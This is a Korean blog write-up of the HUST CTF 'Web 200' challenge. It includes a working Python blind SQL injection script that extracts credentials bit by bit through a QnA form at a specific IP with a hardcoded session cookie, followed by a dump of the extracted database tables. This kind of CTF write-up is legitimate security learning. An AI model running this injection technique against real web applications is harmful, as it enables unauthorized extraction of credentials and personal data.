[HUST CTF] Web 200

Web 200

다른 문제 다 접고 (어차피 상상도 못한 어마어마한 방법이였으니..) 이것만 잡았습니다.
다 제끼고 흐름만 이야기 하겠습니다.

페이지를 들어가면 위와 같은 로그인 창이 뜹니다.

Join을 누르면 위와 같은 가입 창이 나옵니다.

로그인을 하면 위 메뉴중 QnA가 있는데,
QnA가 INSERT문이 아닌 SELECT 문을 쓰는건 처음이였습니다;;
여튼 이를 이용해 BlindSQLi를 진행합니다.

import requests
import urllib
import time
#main url: http://223.194.105.182:43080/pmain.php
cookies={'PHPSESSID':'igak84e5ejdkua67qegu2d45h5'}
url = "http://223.194.105.182:43080/question_query.php"
tables=''
silnex=''
def bits2a(b):
    return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8))

for lim in range(0,5):
    print tables
    tables+='| '+str(lim)+'. '
    for chr_l in range(1,1000):
        binary=''            
        for bin_l in range(1,8):
            param=" ' or mid(lpad(bin(ord(mid((select DISTINCT concat(id,':',pw) from inforseat where id='tsuh' limit "+str(lim)+",1 ),"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) = 1# "
            time.sleep(0.5)
            data = {'content':param}
            s = requests.post(url, cookies=cookies, data=data)
            print param
            #print s.text
            if not '<!--==============================header=================================-->' in s.text:
                bin_l-=1
                continue

            if 'Sangyoon' in s.text:
                binary+='1'
            else:
                binary+='0'
                
        if binary == '0000000':
            print "break!"
            break
        else:
            silnex+='0'+binary
            tables+=bits2a(silnex)
            silnex=''
print tables+ ' |'

중간에 “===header===” 이 부분이 들어간건 서버가 너무 잘 죽더군요;;
그래서 살아있는지 확인하기 위해 넣은 겁니다.

그래서 꺼낸 DB내용

db : khkekb

table_name 
column_name
| data

HUST
0.look| 1.it| 2.i5| 3.hint|
| 0.donot:open:seat:table

boom 
0. go| 1. t0| 2. another| 3. t4ble|
| 0. there:isnot:answer:here

chicken 
0. chicken| 1.i5| 2.very| 3.delicious|
| 0. go:to:board:table

board 
0. find| 1. data| 2. v4lues| 3. please|
| 0. go:to:chiffon:tab1e

chiffon 
0. m4tch| 1.w0rds|
| 0. 3ny4v:tsuh
inforseat 
0. id| 1.pw| 2.name| 3.tel| 4.email|
| 0. user account

aseat 
0. name| 1. tel| 2. home| 3. seat| 4. id|

sseat
0. name| 1.tel| 2.home| 3.seat|
| 1.010XXXXXXXX:SKT:S
| 2.010XXXXXXXX:KT:S
| 3.010XXXXXXXX:SAMSUNG:S
| 4.010XXXXXXXX:MVP:S
| 5.010XXXXXXXX:Afreeca:S
| 6.010XXXXXXXX:ROX:S
| 7.010XXXXXXXX:Longzhu:S
| 8.010XXXXXXXX:bbq:S
| 9.010XXXXXXXX:Jin Air:S
| 10.010:test3:S
| 11.test12:test12:S
| 12.dldmlwhd:dldmlwhd:S
| 13.zaxscd:SKY:R
| 14.hacuna:hacuna:R
| 15.hacuna:hacuna:S

에.. 여기 까진 금방 왔는데.. 이다음이 문제더군요..

여기서 상당히 힘들었는데

저기다 DB에서 나온 내용중 chiffon의 값인 3ny4vtsuh를 넣어 보내주면


플레그가 나오면서 풀립니다.

나름 흰트였는지 모르겠지만 위 파라미터의 임의 값을 넣으면 

이렇게 나오는데 이걸 흰트라고 생각 할 수 있을까 살짝 의구심이 드네요…
뭐,, 입력값을 넣을수 있는 부분이 굉장히 한정적이라고는 해도  상당한 게싱능력이 요구되는 문제 아닌가 조심스래 평해 봅니다.

글의 문제가 있다면 댓글을 달아 주세요.

이 사이트는 스팸을 줄이는 아키스밋을 사용합니다. 댓글이 어떻게 처리되는지 알아보십시오.